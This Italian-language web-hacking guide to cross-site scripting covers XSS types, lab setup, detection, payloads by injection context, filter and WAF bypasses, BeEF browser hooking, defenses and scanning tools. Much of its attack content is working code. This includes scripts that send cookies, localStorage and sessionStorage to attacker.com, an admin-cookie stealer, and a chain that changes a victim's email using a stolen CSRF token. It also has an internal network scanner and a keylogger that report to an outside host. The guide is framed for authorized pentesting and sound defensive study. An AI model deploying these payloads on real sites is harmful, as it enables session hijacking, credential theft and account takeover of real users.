web-hacking

XSS (Cross-Site Scripting): Exploit, Payload e Bypass

XSS (Cross-Site Scripting): Exploit, Payload e Bypass

XSS (Cross-Site Scripting): guida completa a reflected, stored e DOM-based XSS, payload, filter bypass avanzati, exploitation e difesa delle web application.

  • Pubblicato il 2026-02-05
  • Tempo di lettura: 7 min

XSS (Cross-Site Scripting): Cos’è, Come Funziona e Come Testarlo #

Il Cross-Site Scripting (XSS) è una vulnerabilità web che permette di inserire contenuti controllati dall’attaccante in una pagina che verrà elaborata dal browser della vittima. Quando l’applicazione gestisce in modo non sicuro dati non attendibili, il browser può interpretarli come codice invece che come semplice contenuto.

L’impatto dipende dal contesto in cui l’XSS viene trovato. Una vulnerabilità può consentire, ad esempio, di eseguire JavaScript con i privilegi della pagina, leggere dati accessibili dal browser, eseguire azioni per conto dell’utente o concatenarsi con altre vulnerabilità per ottenere un impatto maggiore. OWASP considera l’XSS all’interno della categoria Injection del Top 10:2025.

In questa guida analizziamo come individuare e verificare vulnerabilità XSS in un ambiente autorizzato, partendo dai concetti fondamentali fino ai diversi contesti di injection, ai payload di test, all’analisi delle protezioni e alle tecniche di bypass utilizzate durante un penetration test.

Cos’è XSS #

L’XSS si verifica quando un’applicazione inserisce dati controllabili dall’utente in una pagina senza applicare le protezioni necessarie per il contesto in cui quei dati vengono utilizzati.

A differenza di una vulnerabilità che compromette direttamente il server, l’XSS viene generalmente sfruttato attraverso il browser dell’utente. Il codice iniettato viene quindi eseguito all’interno dell’origine dell’applicazione vulnerabile e, in base ai privilegi disponibili, può interagire con la pagina, con la sessione dell’utente e con le funzionalità esposte dall’applicazione.

L’XSS non è però un’unica tecnica. La modalità con cui il payload raggiunge il browser determina la tipologia della vulnerabilità e il modo in cui deve essere testata.

Tipologie di XSS #

Le tre tipologie principali sono Reflected XSS, Stored XSS e DOM-based XSS. La differenza fondamentale riguarda il modo in cui l’input controllato dall’attaccante viene inserito nell’applicazione e raggiunge il browser.

Capire questa distinzione è il primo passo per scegliere la metodologia di testing corretta e determinare quale tipo di payload utilizzare.

Reflected XSS #

Il payload è nella richiesta HTTP (tipicamente GET) e viene riflesso immediatamente nella response. Non viene salvato. Per sfruttarlo devi convincere la vittima a cliccare un link costruito ad hoc.

Scenario classico: campo di ricerca, parametro URL, messaggio di errore.

text
http://target.com/search?q=<script>alert(document.domain)</script>

→ Approfondimento completo: Reflected XSS

Stored XSS #

Il payload viene salvato nel database e rieseguito ogni volta che quella pagina viene visualizzata. È il tipo più pericoloso: non richiede interazione attiva con la vittima, basta che apra la pagina.

Scenario classico: commenti, bio utente, messaggi privati, ticket di supporto.

→ Approfondimento completo: Stored XSS

DOM-based XSS #

Il server non è coinvolto. Il payload viene processato interamente dal JavaScript client-side che manipola il DOM in modo unsafe. Spesso invisibile agli scanner server-side.

Scenario classico: location.hash, document.referrer, URLSearchParams scritti direttamente in innerHTML.

→ Approfondimento completo: DOM-based XSS

Blind XSS #

Il payload viene eseguito in un’area che non vedi direttamente: pannelli admin, log viewer, sistemi di analytics, ticket interni. Lo scopri solo quando ricevi il callback sul tuo server.

Scenario classico: campo “note” in un form di contatto che l’admin legge internamente.

→ Approfondimento completo: Blind XSS


Setup Ambiente di Testing #

Lab Locale #

bash
# DVWA - Damn Vulnerable Web Application
docker run -d -p 80:80 vulnerables/web-dvwa
# http://localhost → admin / password → Create Database

Imposta il security level su Low per iniziare, poi Medium e High per testare bypass.

Browser #

Usa un browser separato per il testing, mai quello personale:

bash
# Chrome con security disabilitata (solo per lab locale)
google-chrome --disable-web-security --user-data-dir=/tmp/chrome-dev

Installa sempre FoxyProxy + Burp Suite CA certificate per intercettare il traffico.

Tool Essenziali #

bash
# XSStrike - scanner context-aware
git clone https://github.com/s0md3v/XSStrike.git
pip3 install -r requirements.txt

# dalfox - scanner Go-based, velocissimo
go install github.com/hahwul/dalfox/v2@latest

# BeEF - browser exploitation framework
sudo apt install beef-xss

Individuare XSS: Metodologia Pratica #

Prima di sparare payload, capisci dove l’input viene riflesso e in quale contesto.

Surface Attack: Dove Cercare #

Testa tutti i punti di input:

SuperficieEsempioTipo probabile
Form inputsearch, commenti, bioReflected / Stored
URL parameters?q=, ?id=, ?name=Reflected
HTTP HeadersUser-Agent, Referer, X-Forwarded-ForStored (nei log)
File uploadNome file, metadati EXIFStored
JSON/XML APIResponse renderizzata in HTMLDOM-based
Fragment URL#keyword usato da JSDOM-based

Identificare il Context #

Prima di scegliere il payload, ispeziona il DOM con F12 e rispondi a queste domande:

  1. L’input viene riflesso nell’HTML body?
  2. Viene inserito dentro un attributo (value="", href="", src="")?
  3. Viene inserito dentro una stringa JavaScript (var x = 'INPUT')?
  4. Viene inserito dentro un event handler (onclick="INPUT")?

Il context sbagliato = payload che non parte. Il context giusto = XSS confermato in pochi secondi.

Payload di Rilevamento (non eseguono nulla) #

text
<plaintext>
'"<>`
\"><svg/onload=x>

Inietta questi e osserva come vengono riflessi nel sorgente. Se vedi i caratteri speciali non encodati, hai un vettore da sfruttare.


XSS Payload: dalla Base all’Avanzato #

→ Lista completa e categorizzata: XSS Payload List

Payload Base per Proof of Concept #

javascript
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>

Usa sempre alert(document.domain) invece di alert(1) nei pentest reali: dimostra quale dominio è vulnerable.

Payload per Context #

Context: dentro attributo HTML

html
<!-- Pagina -->
<input value="USER_INPUT">

<!-- Payload -->
"><script>alert(1)</script>
" onmouseover="alert(1)

Context: dentro stringa JavaScript

html
<!-- Pagina -->
<script>var q = 'USER_INPUT';</script>

<!-- Payload -->
'; alert(1); //
\'; alert(1); //

Context: dentro event handler

html
<!-- Pagina -->
<div onclick="go('USER_INPUT')">

<!-- Payload -->
'); alert(1); //

Context: href / src attribute

text
javascript:alert(document.domain)

Polyglot Payload #

Funziona in più context contemporaneamente — utile quando non sai esattamente dove sei:

javascript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e

Exfiltration Base #

javascript
<script>
new Image().src = 'https://attacker.com/log?c=' + document.cookie;
</script>

new Image() è preferibile a fetch() in molti contesti perché non richiede CORS e funziona in modo silenzioso.

Exfiltration Avanzata #

javascript
<script>
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        cookies: document.cookie,
        url: location.href,
        ls: JSON.stringify(localStorage),
        ss: JSON.stringify(sessionStorage),
        dom: document.title
    }),
    headers: {'Content-Type': 'application/json'}
});
</script>

Questo payload esfiltra l’intera superficie dati disponibile nel browser.

Server di Ricezione Rapido #

bash
# Opzione 1: Python puro, vedi tutto nei log
python3 -m http.server 80

# Opzione 2: netcat, minimale
nc -lvnp 80

# Opzione 3: requestbin.com / webhook.site (senza VPS)

HttpOnly: cosa cambia e cosa no #

Cookie con flag HttpOnly non sono accessibili via document.cookie. Questo non rende XSS inutile:

  • Puoi ancora eseguire azioni autenticate per conto della vittima (CSRF via XSS)
  • Puoi installare keylogger e rubare credenziali alla prossima login
  • Puoi esfiltrare dati da localStorage (spesso privo di HttpOnly)

Vedi: CSRF Chain con XSS


Filter Bypass e WAF Evasion #

→ Guida completa: XSS Filter Bypass | XSS WAF Bypass

Filtro blocca <script> #

javascript
// Case variation
<ScRiPt>alert(1)</ScRiPt>

// Tag alternativi
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<video src=x onerror=alert(1)>

Filtro blocca alert #

javascript
// Funzioni alternative
<script>confirm(1)</script>
<script>prompt(1)</script>

// Concatenazione
<script>window['al'+'ert'](1)</script>

// Base64
<script>eval(atob('YWxlcnQoMSk='))</script>

// CharCode
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

Filtro blocca le parentesi #

javascript
// Template literals
<script>alert`1`</script>

// throw trick
<script>onerror=alert;throw 1</script>

Filtro blocca gli spazi #

javascript
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>

Encoding multipli (WAF bypass) #

javascript
// URL encoding
%3Cscript%3Ealert(1)%3C%2Fscript%3E

// Double URL encoding
%253Cscript%253E

// HTML entities
&lt;script&gt;alert(1)&lt;/script&gt;

// Unicode
\u003cscript\u003e

XSS Weaponization con BeEF #

BeEF (Browser Exploitation Framework) trasforma un XSS in una sessione di controllo completa sul browser della vittima.

Setup #

bash
sudo apt install beef-xss
beef-xss
# UI: http://127.0.0.1:3000/ui/panel
# Credenziali default: beef / beef (cambia subito)

Hook Payload #

html
<script src="http://TUO-IP:3000/hook.js"></script>

Quando la vittima carica la pagina con questo payload, il browser appare nel pannello BeEF come “hooked”.

Cosa puoi fare con un browser hooked #

Dal pannello BeEF → Commands → seleziona modulo:

ModuloEffetto
Get CookieRecupera cookie (anche senza JS diretto)
Pretty TheftOverlay fake login per phishing
Port ScannerScan rete interna dal browser vittima
Fingerprint BrowserVersione, plugin, OS
Redirect BrowserRedirect su pagina malevola
Create Alert DialogSocial engineering in-page
WebcamAccesso webcam (richiede permesso)
PersistenceMantiene hook dopo navigazione

Persistenza #

BeEF può mantenere l’hook anche se la vittima naviga su altri domini, usando tecniche come iframe nascosti o service workers.


Scenari Pratici di Exploitation #

Scenario 1: Stored XSS → Admin Takeover #

  1. Trovi stored XSS in un campo commento
  2. Inietti payload che ruba cookie solo se appartengono all’admin:
javascript
<script>
if(document.cookie.toLowerCase().includes('admin') || 
   document.cookie.includes('role=1')) {
    fetch('https://attacker.com/log?c=' + document.cookie);
}
</script>
  1. Admin visualizza il commento → Cookie inviato
  2. Usi il cookie in Burp Suite per hijackare la sessione

Scenario 2: XSS → CSRF Chain (bypass token) #

CSRF token ti blocca? Con XSS non serve bypassarlo — lo leggi e lo usi:

javascript
<script>
fetch('/account/settings')
    .then(r => r.text())
    .then(html => {
        const doc = new DOMParser().parseFromString(html, 'text/html');
        const token = doc.querySelector('[name=csrf_token]').value;
        
        return fetch('/change-email', {
            method: 'POST',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'},
            body: 'csrf_token=' + token + '&email=attacker@evil.com'
        });
    })
    .then(() => fetch('https://attacker.com/done'));
</script>

→ Email cambiata, account preso.

Scenario 3: Scan Rete Interna via Browser #

javascript
<script>
const subnet = '192.168.1.';
for(let i = 1; i < 255; i++) {
    const ip = subnet + i;
    const start = Date.now();
    fetch('http://' + ip, {mode: 'no-cors', signal: AbortSignal.timeout(500)})
        .then(() => {
            fetch('https://attacker.com/scan?ip=' + ip + '&ms=' + (Date.now() - start));
        }).catch(() => {});
}
</script>

Il browser della vittima (che è sulla rete interna) scansiona e ti riporta gli host attivi.

Scenario 4: Keylogger Persistente #

javascript
<script>
const log = [];
document.addEventListener('keypress', e => {
    log.push({key: e.key, target: e.target.name || e.target.id});
    if(log.length >= 20) {
        fetch('https://attacker.com/keys', {
            method: 'POST',
            body: JSON.stringify(log)
        });
        log.length = 0;
    }
});
</script>

Accumula 20 tasti, poi invia in batch. Cattura credenziali al prossimo login.


Difese XSS e Come Bypassarle #

Capire le difese ti rende un tester migliore.

Content Security Policy (CSP) #

http
Content-Security-Policy: default-src 'self'; script-src 'self'

Blocca script inline e da domini esterni. Ma ha molti vettori di bypass.

→ Guida specifica: XSS CSP Bypass

CSP con unsafe-inline → Inutile contro XSS, gli script inline passano.

CSP con whitelist CDN → Cerca JSONP endpoint sul CDN whitelistato:

javascript
<script src="https://cdn-whitelistato.com/jsonp?callback=alert"></script>

Output Encoding #

Difesa più efficace: ogni carattere speciale viene convertito in HTML entity prima dell’output.

text
< → &lt;
> → &gt;
" → &quot;
' → &#x27;

Quando vedi caratteri encodati nella reflection, il bypass richiede context-specific tricks.

text
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Protegge il cookie dalla lettura JS. Non protegge dall’esecuzione di azioni autenticate.


Tool per XSS Automation #

XSStrike — Context-Aware #

bash
python3 xsstrike.py -u "http://target.com/search?q=test"
python3 xsstrike.py -u "http://target.com/search?q=test" --crawl

Analizza il context, genera payload mirati. Ottimo per target con filtri.

dalfox — Velocità #

bash
# Scan singolo URL
dalfox url "http://target.com/search?q=FUZZ"

# Da file con più URL
dalfox file urls.txt --worker 10

# POST
dalfox url "http://target.com/login" -d "user=admin&pass=FUZZ"

Go-based, concorrente, perfetto per scanning massivo.

Workflow Consigliato #

  1. dalfox per sweep veloce su tutti i parametri
  2. XSStrike per analisi approfondita sui punti sospetti
  3. Burp Suite per exploitation manuale e prova d’impatto
  4. BeEF per weaponization e demo a cliente

FAQ #

XSS e CSRF: qual è la differenza?

XSS inietta ed esegue codice nel browser della vittima. CSRF forza il browser a fare richieste non volute. XSS può essere usato per eseguire CSRF bypassando i token.

HttpOnly protegge completamente da XSS?

No. Protegge solo dal furto del cookie via JavaScript. XSS permette ancora: azioni autenticate, keylogging, phishing overlay, network scanning.

XSS può portare a RCE?

Non direttamente, ma la chain esiste: XSS → furto credenziali admin → accesso pannello → upload file → webshell → RCE.

Come trovo XSS velocemente in un pentest?

Usa dalfox su tutti i parametri GET/POST, inietta manualmente nei campi non standard (header HTTP, metadati), usa payload blind XSS Hunter su tutti i form. Poi verifica manualmente con Burp.

XSS funziona su API REST?

Sì, se la response JSON viene renderizzata in HTML senza encoding:

javascript
element.innerHTML = apiResponse.data; // Vulnerabile

Approfondimenti: Articoli Cluster #

Questo pillar copre XSS in modo trasversale. Per ogni tipologia e tecnica specifica:

ArticoloContenuto
Reflected XSSExploitation, URL crafting, delivery via phishing
Stored XSSPersistence, admin targeting, worm propagation
DOM-based XSSSinks, sources, analisi JS client-side
Blind XSSCallback server, XSS Hunter, out-of-band detection
XSS Filter BypassTecniche di evasione filtri server-side
XSS Payload ListLibreria completa payload per context
XSS CSP BypassJSONP, CDN whitelist, nonce bypass
XSS WAF BypassEvasione ModSecurity, Cloudflare, AWS WAF

Disclaimer: Le tecniche descritte in questa guida sono legali esclusivamente su sistemi per cui hai esplicita autorizzazione scritta. L’uso non autorizzato costituisce reato penale (art. 615-ter c.p.). Usa questi strumenti in ambienti di lab, bug bounty autorizzati o nell’ambito di pentest con scope formalmente definito.

#xss #cross site scripting

lascia un messaggio

Non sono un robot